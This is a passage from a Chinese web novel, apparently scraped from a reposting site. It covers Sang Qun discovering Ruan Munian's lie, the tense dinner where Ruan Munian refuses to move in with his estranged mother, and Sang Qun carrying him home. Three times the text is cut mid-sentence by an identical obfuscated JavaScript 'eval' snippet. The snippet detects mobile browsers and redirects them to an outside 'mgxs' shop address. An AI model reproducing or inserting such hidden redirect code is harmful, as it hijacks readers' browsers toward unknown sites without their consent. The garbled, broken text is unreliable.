“我真是服了你俩了,”桑母吐槽道,“一只熊跟儿子似的照顾了十几年,现在还要换新衣,晚上你俩一人抱一边睡吗?” 那倒不是。明明团团是年年的玩偶,可睡觉时,阮牧年总会把团团摆在桑群床头或者茶几上。 因为桑群睡眠不好,真正入睡之前很容易被吵醒,陷入深眠后又容易做噩梦。 年年说,团团放在旁边,就可以在噩梦袭击他之前,把坏东西统统赶走。 简直毫无根据,但桑群的睡眠确实改善了不少。至少噩梦不频繁了,就算做过醒来也会忘光。 母亲不知道他有这个毛病,桑群没打算让她担心,只说:“先做衣服,过两天我回去量一下,还要一顶帽子。” 桑母感叹:“熊过得比人好,当妈这么多年也没见儿子送顶亲手做的帽子来。” “毛线帽,”桑群反问,“你戴?” 桑母一口回绝:“不戴。” “……那你叫什么。” “心意啊,你一点心意都没有,”桑母控诉,“老实交代吧,你送我的礼物是不是都网上砍一刀买的?” 桑群:“……没有。我没砍。” “瞧瞧,这就承认了,”桑母说,“果然是网上买的,敷衍。” 桑群:“?” “别给我挖坑跳,”他屏住呼吸,拒绝了母亲大人发来的斗嘴邀请,“待会儿编歪了赖你。” 桑母哼哼。 闭上嘴干活,两人的效率一个比一个高。 母亲年轻时是学设计的,现在也在做服装生意,编织什么的不在话下。 桑群经常给工厂帮忙,手艺不输他妈。 好不容易闲下来揉了揉手腕,桑母问:“要做多少份?” 桑群:“把你算上,五份。” 桑母感慨:“你结婚的时候,给亲家的红包都没有这个多吧。” “?”桑群莫名其妙,“什么结婚。” “你们有个伴儿是挺好的,”桑母摆弄着手里的织物,说,“但太形影不离是不是不太合适?感觉你都快把年年宠上天了,亲儿子都不一定有他受宠。” 桑群无语:“你不宠?” “宠啊,那能一样吗?”桑母说,“你俩这样离不开对方半步的,以后跟对象逛街是不是都要带上他?” 对象……说到这个就来气,想到这几天耳里听到的传闻,一个赛一个离谱。 还带上阮牧年,对方带娃逛街的时候能想起他都不错了。 据冲浪达人学委转述,最新投票帖已经在讨论三胎是顺产还是试管婴儿了。 ……发帖人不去绿江写奇幻言情真是可惜了。 见儿子面色不对,桑母挑眉:“哟,随口一问还真有心仪对象了?” 桑群:“想什么呢,没有。” 桑母说:“那就是年年有。” 桑群:“……” “毕竟你这个闷葫芦,能跟女生说上话都不错了,”桑母啧啧道,“没想到啊,年年看起来那么清纯……” 桑群:“……他也没有。” “没有你皱眉干嘛,还一脸不爽,”桑母道,“不就是吃醋嘛。没事,你要结婚的时候,我肯定也会吃醋,但父母嘛,总要学会放手……” 吃醋? 他这几天这么烦,居然是在吃醋吗? 从未有过的体验,他不由得停下手里的活儿,沉思了一下。 没想出个所以然,抬头,桑母明亮的眼神看着他。 “要我给你传授《智慧父母必备:戒掉孩子依赖症的108种放手方法》吗?” 桑群:“……” 桑群:“……请讲。” 难道他真把阮牧年当小孩儿养? 哪儿有这种破小孩,他不在家几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356303|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天,都不知道这小子会不会按时洗澡。 桑群百思不得其解。 过两天,他回了出租屋,屋内空无一人。 阮牧年说今天下午有篮球赛训练,他也没多说自己会回来,打算给团团量了尺寸就走。 圆头圆脑的小家伙,桑群摸着小熊脑袋的时候想,小时候还没觉得它这么小呢。 那时,幼儿园的小豆丁可以把团团当作迷你小沙发躺。 这么想着,前不久去游乐场好像又带了一只玩偶回来。 名字叫囊囊,真不知道这小子怎么想的,押韵吗。 就是看不出是什么品种,桑群拎着囊囊看了半天。 熊?狗? ……狗熊? 看不出来,给它做条内裤吧,先遮羞,剩下的以后再说。 路过衣柜的时候,桑群想起来好像有件衣服破洞了,也拿回去一起缝补吧。 打开衣柜,桑群第一眼就看见了那条运动发带。 深蓝色的,浅灰条纹,阮牧年挺喜欢,每次打球都会带上。 今天怎么没带? 桑群看着那条发带,心里有种不祥的预感。 总觉得……不太对劲。 他点开消息页面,上一条还是阮牧年的行程通知。 【Ruann:三号还要去练篮球,好热不想出门qwq】 桑群想问他现在在哪儿,打到一半删了,重新打了一遍。 【阿君羊:你发带忘拿了】 【阿君羊:我给你送过去?】 等了十分钟,没回复。 是正在训练中,没空看消息,还是他压根就没去练篮球? 心里隐约的不安没有驱散,桑群直觉事情没那么简单,盯着手机看了一会儿,翻到另一个页面。 有一个亮着红点的好友申请。 桑群点了通过。 没几秒,对面就发来一个打招呼的表情包。 【阿君羊:你们在哪儿训练】 【将将将璋:啊?啥训练?】 【阿君羊:篮球赛】 【将将将璋:篮球赛没组织训练啊,体育课打打就差不多了,放假谁出来训练啊】 桑群捏紧手机,果然。 难怪当初通知他有训练的时候,他就觉得阮牧年神色有点奇怪。 骗人精。 真是进步了,现在连他都能糊弄过去。 桑群忍着怒气给臭小鬼发消息。 【阿君羊:你在哪里?】 【阿君羊:阮牧年,别装聋作哑】 【阿君羊:回话】 能跑到哪儿去?阮牧年有什么事情要瞒着他做? 桑群抓着头发,余光瞥见衣柜里那件粉色卫衣。 是了。 去游乐场那天,早上,阮牧年好像说过,他妈妈要找他吃饭。 当时让他答应,难道就是今天? 可他为什么要撒谎隐瞒? 【阿君羊:年年,你在哪里?】 【阿君羊:为什么不说实话?你不要什么事都一个人扛着】 【阿君羊:告诉我在哪里,好不好】 【阿君羊:年年,回话】 对面毫无动静。 焦虑在时间推移中不断放大,吃顿饭没什么,阮牧年也不会有什么性命危险,可他就是担心,心田杂草丛生,慌乱一片。 连妈妈多打款都会敏感到哭了一晚上的年年,面对陌生的母亲和陌生的家庭,他要怎么走出自己最深的恐惧。 桑群咬着牙,再这样下去,他要不顾礼节了。 管他们是在吃饭还是在说话。 桑群一个电话拨了过去。 没接,再打。 不知响了多少次铃,对面终于接了。 脑中盘旋了无数兴师问罪的语句,到头来一句都没能说出口。 因为阮牧年先开口了。 他的声音很低,几乎是气音,声线发着颤,根本不像是没事的样子。 阮牧年说:“抱歉,别再打过来了。” 没等桑群回复,电话就挂断了。 这人在搞什么? 桑群第一次体会到心急如焚却什么都做不了的无力感。 手机震动了一下。 是阮牧年的消息。 【Ruann:[定位]】 26. 26 下午要跟妈妈吃饭,阮牧年在衣柜前站了快一小时,琢磨着出装。 最后没一套满意,还是穿上了桑群的那件浅蓝T恤,显得阳光一点。 领子要整齐,衣角不能皱起,裤绳绑好,鞋带不能有翻折,蝴蝶结要正对鞋头。 早上特地洗了个头,很小心地吹了,还是没有桑群吹得好。阮牧年用梳子沾水固定了老半天,形状勉强能看。 吃饭的地方是商业街附近的某家餐厅,妈妈订的包间在大厦二楼。 那里离学校不算近,阮牧年得坐公交车过去。 到了楼下,对着临街的橱窗玻璃又整理了一下,他才深吸一口气,踏进门去。 正对门的就是楼梯口,妈妈就站在那里。 阮牧年笑了笑,保持着阳光的人设:“好久不见,妈妈。怎么不坐在上面等啊?” 妈妈是个利落的女人,齐肩短发,常年西装不离身。或许是考虑到这场聚会不用太严肃,所以把黑西装换成了白西装。 她扶了下眼镜,点头算是回应招呼:“刚去车里拿东西,正好碰上了。走吧。” 阮牧年的笑容微不可察地僵了一下,跟上她的步伐。 这家餐厅档次不低,楼梯也不绕,台阶很宽,足够两个人并肩行走。 阮牧年跟妈妈保持着过分礼貌的距离往上走。 沉默地走了一会儿,似乎妈妈也察觉到气氛有些僵硬,于是更僵硬地开口:“你……怎么来的?” 阮牧年连忙回答:“坐公交。” 妈妈点点头,话题又沉了下去。 阮牧年在心里叹了口气,这样可不行啊。他只好主动问起:“妈妈刚从公司过来嘛,国庆放假也不多休息休息吗?” 妈妈倒是愣了一下:“你怎么知道……还好,只是一个临时会议。” 阮牧年笑了笑:“我猜的哈哈。既然放假,就不要盲目加班了。” 妈妈只有在工作的时候才会戴眼镜,今天出来吃饭本应摘掉,却到现在还戴着。比起度数加深,阮牧年更倾向于她还没来得及摘。 不出所料,猜对了。 舒心话使人心暖,也能恰到好处地拉近距离。妈妈微微笑了一下:“嗯,只是一些临时的事务不好推脱。” 正说着,包间也走到了,阮牧年先她半步推开门,让妈妈先进去。 见门开了,餐桌边坐着的人站起来,向他打了个招呼。 “小田,回来啦?哎牧年也在啊,你好你好。” 阮牧年带上门,笑容满面地回话:“叔叔你好啊,先前总听妈妈提起您,今天终于见到真人了。” “哎,”徐叔叔是个面相儒雅随和的男人,没有像妈妈那样穿西装,但衬衫也很考究,“早就听说你是个又懂事又优秀的孩子,果不其然,长得也好看,来来,坐。” “您过奖啦,长得再好看也是遗传妈妈的基因呀。”阮牧年在桌边坐下。 妈妈抿着唇笑,坐在他对面说:“嘴甜。看看吃什么吧。” 徐叔叔把菜单拿过来:“对对,看下想吃什么?” “诶不用不用,”阮牧年连忙推脱,“你们点吧,我第一次来也不知道有什么好吃……” “没事,我们也没来几次,”徐叔叔坚持把菜单塞到他手里,“不知道你口味怎么样,点两道自己喜欢的吧。” 阮牧年笑叹:“好吧好吧。” 点了菜,服务员送上几碟小菜,给每位的餐具消了毒。 服务很周到,阮牧年猜测这家餐厅是走低调风的,吃一顿恐怕价格不菲。 原来妈妈的经济情况已经变得这么好了。 “这顿饭就当见个面,大家随便聊聊,”徐叔叔说,“牧年,你也别有压力,放开点吃哈。” 妈妈点头:“放轻松。上次听你说国庆前也很忙,学校生活累吗?” “还好还好,主要是一些班级事务,当班委嘛……” 徐叔叔:“牧年还担任班委啊,什么职务?” “物理课代表。之前一直当班长太辛苦了,这学期放自己一马。” 妈妈颔首:“听你们老师说,你物理确实很不错。是打算参加竞赛吗?” 阮牧年的笑容淡了一点:“没有没有,就是比较感兴趣所以成绩好一点,后面肯定还是要高考的……” 围绕着阮牧年的校园生活,两个大人礼貌地探究了一番,谈话到此还算融洽。 没多久,服务员就上了菜。菜品很丰盛,令人食指大动。 虽说从早上就没吃饭,但阮牧年还是克制着自己,尽量矜持进食。 吃饭期间,徐叔叔主动分享了他和妈妈的一些有趣经历。原来他们是同事,只是在不同部门工作,彼此认识了许多年。 提及那些事的时候,妈妈的目光变得温柔,中途甚至还出手拍了一下徐叔叔,让他别说了。 是他没见过的妈妈。 脸好僵,可他必须笑下去,不能毁了所有人的心情。 菜吃得差不多了,妈妈放下筷子,拿过纸巾擦了擦嘴:“牧年。” 阮牧年举筷的手指轻轻颤了一下:“嗯?” “其实这次见面,有件事想跟你商量……” 咬肌似乎麻了,发展果然不出他所料,可人都坐在这里了,再抗拒也只能听下去。 妈妈说:“你想不想回来跟妈妈一起住?” 二楼的包间有一扇窗,正对着大街,外面的阳光刺眼明亮。 原本还算和谐的氛围经此一句,瞬间陷入了沉寂。 阮牧年提了提唇角:“怎么突然……” 徐叔叔解释道:“听说你住在学校,但不是快高考了嘛,学校再方便也不如家里舒服,所以你妈妈想……” 阮牧年看着妈妈:“为什么?” 徐叔叔尴尬地止住话头。 妈妈说:“老徐说的没错,你已经高二了,需要更舒心的环境生活学习……” 放在膝头的手悄然攥紧,阮牧年抿了抿唇:“不用啦,我在学校也挺好的。” 妈妈却说:“我努力工作了这么多年,已经有很好的条件可以照顾你,你不用担心我会忙于工作……” “我说不用了,”阮牧年的笑容再也维持不下去,放下筷子的手不小心碰到碗,碗盘发出清脆的声响,“妈妈。” 妈妈皱了皱眉,似乎没有想到他会拒绝。 阮牧年低了低头,仓促掩饰了一下自己的目光,尽量让声音听起来正常:“我……我是说,贸然打扰你们两位不太方便……” 徐叔叔连忙摆手:“这个你不用担心,如果你觉得不舒服的话,那我……” 妈妈拍了他一下,打断道:“我和老徐会结婚,也会一起生活。妈妈希望你可以一起住进来,毕竟……” “毕竟我是你的孩子,”阮牧年道,“应该跟妈妈一起住,对吗?” 妈妈张了张口,嗯了一声。是这个意思没错,但怎么由阮牧年说出来感觉怪怪的。 裤腿的布料已经皱起来了,阮牧年深吸一口气,却吐不出来:“作为您的孩子,住进你们家……是这个意思吗?” 妈妈皱眉:“你如果不满……” “不是我不满,”阮牧年抬头,说,“是您不满意我的回答,不是吗?其实也没想跟我商量吧,只是来通知我一下。” 徐叔叔:“你妈妈不是那个意思……” “我是没有这个意思,”妈妈的声音变得冷冽,“但我的态度确实很强硬。牧年,我本来不想说更深层的原因……” 阮牧年唇角一撇:“您说。” “我打电话问过你们学校,”妈妈说,“你根本没有住宿,也不在舅妈家住,那你平时住在哪里?” 果然是舅妈。 当初告诉她自己要住宿,就觉得她不会放过这个机会,后面果然找他妈妈透底了。 “我在学校附近租了一间房,”阮牧年说,“别担心,您给的生活费我还没用完呢。” “你既然不愿意住在舅妈家,”妈妈说,“那就跟妈妈一块住,一个人在外面多不安全……” “不是一个人,”阮牧年打断她,目光很坚定,“我和桑群一起住。” 徐叔叔愣了一下:“……谁?” 妈妈也怔了怔:“桑群……那个桑群?你和他还有联系?” “是的,我们过得很好,”阮牧年松了松挺直的腰杆,说,“抱歉,妈妈。” 餐桌又一次陷入沉默,徐叔叔不知道该说什么,阮牧年表态很明确,不会动摇,而妈妈眯着眼看他,不知道在想什么。 “老徐,”半晌,妈妈才开口,“你先出去一下吧。” “哎行,”徐叔叔连忙站起来,“你们好好聊,我去上个厕所。” 门关上后,妈妈放弃了表面上的礼貌,话锋变得凌厉:“那个桑群……他家不是破产了吗?你们是一起合租?还是……牧年,你说实话,你有没有帮他交租金?” 阮牧年轻笑一声:“舅妈是这样告诉您的吗?” 妈妈皱眉:“跟你舅妈没关系,你初中的时候……” “我初中的时候,”阮牧年帮她说了出来,“为了让桑群也考上那所初中,帮他作过弊,您想说这个,是吗?” 妈妈抿了抿唇,没有否认。 “我还把所有零花钱、压岁钱,全都给了他,”阮牧年闭了一下眼,“所以这次可能也是,您怕我会被他骗得分文不剩……是吗?” “我没有说他不好,但你是个心软孩子……” “您真的知道我是什么样的人吗,”阮牧年抬眼盯着她,眼里情绪翻涌又强行按下,“您真的知道,阮牧年是什么样的人吗?” 妈妈没说话。 怎么回事呢阮牧年,明明客套着敷衍过去,这顿饭就差不多了,你不是很会察言观色吗,怎么把场面搞成这样? 可有一股难以形容的闷气在胸口盘旋,或许它们早就存在了,在十几年前,在父母刚离婚的时候,亦或者在第一次目睹他们争吵过程的时候。 而他没有办法把这股气宣泄出来,五年、十年,直到现在。 他以为自己早已心灰意冷,他以为跟桑群哭过那一场,过往扑空的期待与委屈就能跟他失落的童年一起烟消云散,一笔勾销。 原来不能。 原来他还期盼着爱,还渴望着重聚,又害怕着靠近。 希望妈妈真的愿意带走他,又在她说出口的瞬间感到失望。 “妈妈,”阮牧年低下声音,不愿再多说,“桑群跟我平分了租金。他本可以住在自己家,是我要搬出来住,他才来陪我的。” 妈妈说:“既然如此,你为什么不……” “您不知道吗,”阮牧年看着她说,“那件事之后,就算您直接把生活费打给我,我就可以继续安然无恙地在舅妈家住下去了吗?” 妈妈沉默了一下,开口:“你跟他们生了间隙,我能理解。可为什么不愿意跟妈妈一起住?” 阮牧年坐在那里看着眼前的母亲,本想弯一弯眼角,可惜没能成功。 “我愿意啊……我曾经,非常愿意,”阮牧年轻声说,“但那也只是曾经了。” 妈妈不能理解,以为自己解释得不够清楚,于是说:“过去妈妈迫不得已,只能让你寄住在亲戚家,可现在妈妈已经有了条件……” 让她说下去,剖完真心,再拒绝就好了。 只要坚决拒绝,妈妈又能拿他怎么样呢? 可是。 懂事、明理、合时宜,这些统统都被他抛到脑后。 连他自己都没反应过来。 “为什么是现在!” 他吼了出声。 其实声音应该不大,至少没有到窗玻璃都震颤的程度,可他的声带在发抖,喉间一阵发麻。 妈妈也被他这一声吓到了,半张着嘴说不出话。 “为什么是现在,”开了一个口子,剩下的话仿佛水流般自然地宣泄出来,“高二了,快高考了,到人生重要阶段了,我终于可以跟您住在一起了,是这样吗?凭什么?” 回复他的不是妈妈的话语,而是一阵电话铃。 什么破骚扰电话,阮牧年皱起眉,看都没看就掐掉了。 “我不明白你在发什么脾气,”妈妈也皱着眉,手指在桌面上敲着,“如果你对我从前没有照顾你有怨气,那我接受。现在让你跟我住,也是想要弥补……” 阮牧年只是摇头:“您不明白。” “我是不明白,我不明白你明明很懂事一孩子,为什么要跟我呛?”妈妈的语气也带了些愠怒,“你就一定要跟别人在外头住着吗?饮食怎么办?起居怎么办?两个男孩子还要读书,能把家务搞好吗?” “所以他们是这样告诉你的吗,”阮牧年提了声调,眉头紧皱,“阮牧年是个懂事的孩子,对,他还心软,说说温情话,勾勾手指他就跟你走了……” “阮牧年,”妈妈忍无可忍地拍了一下桌子,“你到底在说什么?” “田女士,”阮牧年也不想再跟她谦恭下去,“在你眼里,我到底是阮牧年,还是你儿子?” 田女士瞪着他:“有什么区别?” “是啊,在你眼里没什么区别,”阮牧年一晒,自嘲道,“那您的儿子是不是我,又有什么区别?您和徐叔叔……” “我们不打算要孩子,”妈妈看着他说,“所以阮牧年,你会是我们唯一的孩子。” “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356304|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阮牧年噎了一下。 “你觉得我忽然跟你提这件事,是临时起兴想过过瘾吗,”妈妈的眼神有些受伤,“妈妈亏欠你很多,你可能还是不肯原谅我,但为什么不愿意给我一个机会呢?” 阮牧年没说话。 期间电话又响了几次,都被他掐掉了。 “原来是这样……哈。”他终于出声。 阮牧年抬起头,心里有某块地方凉嗖嗖的,他一直以为是自己太敏感,原来那里早已破了一个洞,经年累月地扩张。 而刺他心痛的不是旁的,正是妈妈的字字句句。 这种时候还要说点什么?他们完全无法站在对方的角度思考,一切争辩都是徒劳。 “您觉得我是在埋怨,是在发泄不满吗,”他的语调变轻,语速却加快,“您搞错了一件事。是您来问我要不要跟您一块儿住,而我的回答是不。我不想。就算您无法理解我这么做的理由,我也不会因为您的劝说改变想法。” “我或许无法理解你的理由,”妈妈说,“但我还有理性认识。目前你所说的一切,我没有听到任何可以说服我放弃劝说的理由。” 电话又响了,阮牧年面无表情地挂掉,说:“如果您一定要听的话,那我问您一个问题——我们很熟吗?” 妈妈的表情愣了一下。 “正如您所说,您是妈妈还是田女士,有什么区别吗?”阮牧年接着说,“这些年我们见过的面两只手都数得过来吧?我跟您住,是回到了家,还是回到住着亲人的房子?” 妈妈似乎在消化他的话,流露出思考的神情,但没能持续多久,因为电话又响了。 “你那个电话,”妈妈有点不耐烦,“要接就接一下。” 阮牧年呼了口气,低头看向手机。 他其实不太想接。 会这么不合时宜、锲而不舍地进行电话轰炸的人,他想都不用想就知道是谁。 那也意味着,他的谎话早就露馅了。 按亮手机,先跳出的是消息页面。 【阿君羊:年年,你在哪里?】 【阿君羊:为什么不说实话?你不要什么事都一个人扛着】 【阿君羊:告诉我在哪里,好不好】 【阿君羊:年年,回话】 阮牧年稍怔了一下。不知为何,坐在陌生的包间里,跟陌生的母亲和另一个陌生人吃完一顿陌生的饭,再看见桑群的消息,居然让他有些眼热。 他甚至能想象到那个人的样子,熟悉的侧脸,蹙着眉,语气没两句就不耐烦,但手上的动作很温柔,抱着他、拍着他,在他难过的时候摸摸他的脸。 电话又来了,这一次,阮牧年接了。 “抱歉,”他强忍着鼻尖的酸意,“别再打过来了。” 别再打过来了。 他怕他会哭出来。 挂掉电话后,怕桑群不放心,他发了定位过去。 不想再谈了,没什么意义。 他想回家。 回对他而言称得上是家的地方。 “牧年,我有点明白你的意思了,”妈妈开口,“跟我相处会让你感到不自在,是吗?我们确实……不太了解彼此,那不是正需要相处和交流吗?为什么要抗拒呢?” “因为您想要的是一个儿子,”阮牧年说,“假设您的经济状况没有变好,工作没有改善,也没有遇到合适的人,至今依然自身难保,您还会想要这个儿子吗?还会坚持带我回去住吗?” “不会的,”阮牧年摇着头,手撑在桌子上站起来,“对您而言,爱人、孩子都是因时适宜必须出现的要素,而不是跨越理性存在的人。” 阮牧年就这样看着她:“所以我拒绝了。您需要一个儿子,可我……已经对您足够失望了。” 说完这话,他连礼节都顾不上,转头就走。 妈妈跟着站起来:“你要去哪儿?” 阮牧年快步走到门前:“就到这里吧,妈妈,不要再给彼此增添烦忧了。” 门开了,徐叔叔站在不远处,有些惊诧地看着他。 阮牧年草草对他点了点头,脚步加快走了出去。 赶紧逃离吧。 不想再待下去了。 然而下楼梯之前,他的手腕被人抓住。 “等等!”妈妈追上来,不让他逃,“为什么失望?牧年,今天出来就是要说清这些的,不要中途离开……” 阮牧年甩开她的手:“别碰我。” 该死,怎么没甩掉。 妈妈抓着他的手,有些用力:“你还没给我有说服力的理由……” 徐叔叔站在一旁,有些无措地看着他们,不知道该不该上来劝一下。 “我说了!”阮牧年挣了一下,还是没挣脱,“我问你为什么是现在!为什么不是爸爸再婚的时候,为什么不是小学毕业的时候,为什么不是初中毕业的时候,为什么不是过去这十几年的任何一刻?为什么偏偏是现在?为什么只能是现在?!” 妈妈皱着眉:“我也告诉过你了,这些年我连自己都吃不饱穿不暖,只能委屈你住在亲戚家!我又不是心甘情愿这么做的,我是迫不得已……” “以您的话说,”阮牧年轻嗤,“我也不接受这个理由,它无法说服我。” “就算这样,你也不该怀疑我怀有功利心,”妈妈继续说,“哪有妈妈不爱自己的孩子?我虽然无可奈何,但这些年从来没有短过你的任何吃穿用度吧?也一直在积极了解你的生活情况、学习状态……” “所以呢?”阮牧年反问,“我应该对一个隔绝在我生活之外的关切我的母亲心怀感恩吗?为那些我从未亲眼见到,也从未亲身体会到的母爱深表感激吗?” “你……” 妈妈的手有些发抖,看样子气得不轻。 她的另一只手抬了抬,似乎很想给他一巴掌。 要打就打吧。 他还没被教训过呢。 妈妈当然没有抬手打他。 因为楼梯上传来急促的脚步声,有人来了。 毕竟是在走廊里面,就算二楼的包间都有隔音,公共场合闹得太大也不合适。 妈妈看了徐叔叔一眼,两人似乎打算把他劝回包间再谈。 阮牧年趁机挣开妈妈的手,往后退了一步:“没什么好聊的了,大家已经很不愉快,不要再强行说下去了。” 妈妈张了张嘴,似乎想说什么。 一股熟悉的气息率先从身后靠近。 一只手搭在阮牧年肩上,将他从后面半环住,来人喘着气,突兀地插入这场争论中。 “吃完了吗,”桑群看了看怀里的人,确认他完好无损,才抬眼对田女士颔首示意了一下,“我来接年年回家。” 27. 27 阮牧年呆了呆:“你……怎么来了?” 怎么还直接找上门来了? 田女士眯了眯眼,认出眼前这个神色冷淡的少年似乎就是儿子多年的童年好友,桑群。 “桑群,”田女士开口,“我们还有一些话没聊完……” 闻言,阮牧年往桑群怀里缩了缩。 桑群了然,拉过他,把人扯到自己身后,对上田女士不赞同的目光:“是么。那下顿饭再聊吧。” 田女士没放弃,还想上前拉住阮牧年:“牧年,你……” 桑群微微侧身,低声对身后的小团糕说:“你先去楼下等我,不要乱跑。” 阮牧年小鸡叨米似的点头,借着桑群的掩护快速溜下楼去。 “别急,”桑群伸手拦住不甘心的田女士,“我还没饱,有什么话可以跟我聊。” 田女士一腔怨怒没处撒,又不好当着外人的面泄愤,只能强忍着道:“桑群,这是我们的家务事,请你不要插手……” “是么,”桑群仍是那副表情,“巧了,我也是年年的家人。这些年没见过您啊,您是他哪位亲戚?” 田女士:“……” “哦哦,”桑群敷衍地点头,“想起来了,年年妈妈是吗?不好意思,主要是压根没听年年提过。” 田女士:“…………” 她看起来快气晕过去了。 徐叔叔皱着眉走过来:“这位同学,请你不要这样说……” “我这人记性不好,”桑群从不嘴软,“您哪位?” 徐叔叔:“……” 论嘴毒,除了桑母,他至今还没遇到过对手。 “你想聊聊?”田女士似乎刚从打击中回过神来,厉声问他,“可以。听说你和牧年正住在一起,你们的日常生活有没有困扰?学习和平日里的琐事怎么平衡?” “劳您费心,”桑群说,“年年吃饭我递碗,年年睡觉我铺床,总之比您照顾得好。” 田女士:“……全是你在照顾他?那你自己呢?” “我又没他那么废物,”桑群摊手,“从小我妈就教我生活自理。” 言下之意,阮牧年变成现在这样,都是您没有好好教导。 田女士:“……” 两个大人被他噎得说不出话来,反倒是桑群主动提了一句:“您要接他一起住?” 田女士立刻问:“你怎么知道?” 桑群没有回答这个问题,只是说:“他不会同意。放弃吧。” 田女士百思不得其解:“为什么?” “一瓶特别喜欢的饮料,”桑群说,“过期了,您还会喝吗?” 田女士陷入沉思,徐叔叔插了一句嘴:“话不能这么说,小田毕竟是牧年的妈妈……” “嗯嗯,”桑群理解但不尊重,“路边随便拉个人也可以说那是我妈,不见得我就乐意跟人家一起住。” “你这孩子,”徐叔叔何曾见过这般战斗嘴,“说话怎么这么……” “是不好听,”桑群自己承认了,“话糙理不糙。年年不愿意顶撞您,我不怕得罪人。” “我还是不明白,”田女士的表情很纠结,“我到底哪里做错了?过去这些年我总是缺席,现在想要弥补回来,不对吗?” 桑群默了一下,说:“您的本心没有错。” 没等对方反问,他又说:“可是爱不应该泾渭分明,没有什么时候更应该爱,什么时候没必要爱的区别。 “家人不是飞黄腾达后才能共享富贵的存在,而是从始至终都应该同甘共苦、风雨同舟。” “阮牧年等了您很久,阿姨,”转身前,桑群说,“但您在要求他当好您的孩子之前,先自己做好一位母亲。” 没人拦他,桑群随口告辞,快步下了楼。 聊得有点久了,不知道阮牧年怎么样。 一楼没找到,走出大厦,旁边的绿化带边缘有一簇黑色的小草。 桑群走过去,他的年年正蹲在草丛边,双手抱膝埋着头。 瞥见腿边的阴影,阮牧年僵了一下,不敢抬头看。 有什么东西碰了碰他的额头,不像是手的触感。 阮牧年小心抬起眼,一条熟悉的运动发带躺在桑群掌心,就放在他面前。 桑群半俯身靠近他,嗓音沉落却温柔:“丢三落四,下次别忘带了。” 本有许多疑问想问,现下却什么都说不出来。 因为在桑群开口的下一刻,他的眼眶骤然一热,那张熟悉的脸在泪水中变成模糊扭曲的一片。 他抓住那条发带和桑群的手指,眼泪怎么也止不住。 桑群感觉心脏被人狠狠抽了一下,也蹲下来,握住他的手:“怎么还哭了……” 阮牧年瘪着嘴,抓着他的衣服扑到桑群怀里。 埋在脖颈边的脑袋一颤一颤,还在外面,阮牧年不敢大哭出声,只发出些许呜咽。 这副样子让人怎么忍心苛责。桑群心软得一塌糊涂,顿时把小骗人精干的坏事抛到脑后,赶紧先拍着他的背轻声安抚。 “对……对不起呜,”阮牧年的声音在他的骨头里说,“桑……桑群……” “你又没做错什么,”桑群按着他的脑袋,低声道,“乖,不哭,阿君羊带你回家。” 阮牧年揪着他的衣角:“你……你怎么过来的啊?” “骑共享单车,”桑群抱着他一下一下拍着,“现在可以打车……” “不、不要,”阮牧年晃着头,“我们坐公交,我已经查过了。” 桑群低下头,指尖缠绕着柔软顺滑的发丝,轻轻嗯了一声。 他发力把阮牧年捞起来,后者粘着他,一寸都不肯挪动。 说去坐公交,却还趴在他身上不动。 桑群无奈摸了摸他的后颈:“哭成花猫了?” “嗯……”阮牧年抬不起头,闷闷道,“你有带纸巾嘛……” “没有,擦衣服上吧,反正也要洗。” “我、我不会洗……” “不敢让你洗。实在不好意思,就把发带蒙眼睛上吧。” “那都看不清路了……” “趴在我身上就看得清吗?” “唔……” 阮牧年安静了一会儿,抱着桑群的腰轻轻问:“桑桑……你可以背我回家吗?” 桑群怔了一下。 阮牧年很快又道:“我就说说,不是要辛苦你的意思……” 真拿他没办法,桑群拍了拍身上人的屁股,松开手道:“来。” “真背啊?”反倒是阮牧年愣了愣。 “别废话。”桑群在他面前蹲下。 阮牧年攀上他的肩膀,明明他们身材相仿,为什么趴上来会觉得桑群的肩膀格外宽阔呢? 这是他第一次在另一个人的背上看这个世界,其实视角并不新奇,依旧是柏油路,来往车辆,和形形色色看不清面孔的行人。 或许是因为他早就看惯了这个视角的风景。童年所期想的种种风光,原来他早已亲自见过无数遍。 桑群抓着他的腿,往上掂了掂:“趴好,别掉了。” 阮牧年乖乖抱住他的脖子,脑袋支在他肩膀上。 “疼,”没几步,桑群就说,“下巴别垫我肩膀上。” “哦。”阮牧年抬起头,用柔软的脸颊贴贴桑群的肩膀。 脸朝内,所以呼吸都扑到桑群脖子上,热热的,还有点痒。 满腔怜爱忽然混进了一些说不明的情绪。 “你很热吗,桑桑,”阮牧年垂着的手指轻轻戳了戳对方的胸口,“脖子红红的。” 桑群缓着气息:“……你该减肥了。” “我很重吗,”阮牧年发问,“我好像没你重。” “重,小肥猫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356305|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 